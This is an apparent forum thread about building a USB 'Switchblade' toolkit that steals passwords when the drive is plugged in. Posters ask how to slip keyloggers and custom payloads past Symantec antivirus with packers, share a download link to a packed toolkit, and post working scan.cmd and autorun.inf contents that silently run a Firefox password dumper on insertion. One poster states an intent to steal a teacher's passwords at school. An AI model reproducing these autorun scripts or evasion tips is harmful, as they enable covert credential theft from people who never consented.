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Does anyone have a recommendation for a good, portable, FREE no-install keylogger that can be used on a switchblade and will not trip antivirus systems?

what are some good packers? morphine and UPX don't really help

I have created a custom payload that will be used on computers protected by Symantec Antivirus Corporate Edition. I have read that many of the NirSoft utilities are detected as viruses. How would I go about encrypting the EXE files so that it can run without being detected?

All right, I packed my finished Switchblade into a RAR file. The files inside are hidden, so you won't see anything. Download: http://kz26.files-upload.com/49531/sb-dlss2-ff.rar.html

Yes...I figured out a fully automatic solution. Step 1: Open the scan.cmd file in the root of the drive. Make it say: @echo off if not exist switchbladedump%computername% md switchbladedump%computername% switchbladetoolsfirepassword >switchbladedump%computername%ffx-dump.txt nircmd.exe execmd CALL switchbladetoolsstart.bat exit Then change autorun.inf to: [autorun] action=Open Files On Folder icon=switchbladeiconsdrive.ico shellexecute=scan.cmd Seems like NirCmd is causing the problem. After this modification, the Firefox pass dumper will be run from a native windows shell. However this also means that a small black command window will pop up for about a half second. But I figured out my problem, and hopefully others can put this to good use.

Actually our school is mostly IE...but this teacher just happens to use Firefox... Mmmm...nice, juicy password file. I guess I'll just have to run it manually??

I have a Sandisk U3 drive as described in my sig with the Switchblade hack and DLSS v2 loaded. Everything works fine EXCEPT for the firepassword.exe Firefox password dumper. It will work fine when I run it directly, but when using the start.cmd Autorun script it doesn't even seem to generate any output at all. Anyone got an idea of what might be wrong and how to fix it? This is really urgent because I will be giving a presentation (with "added bonuses") on my English teacher's computer next week!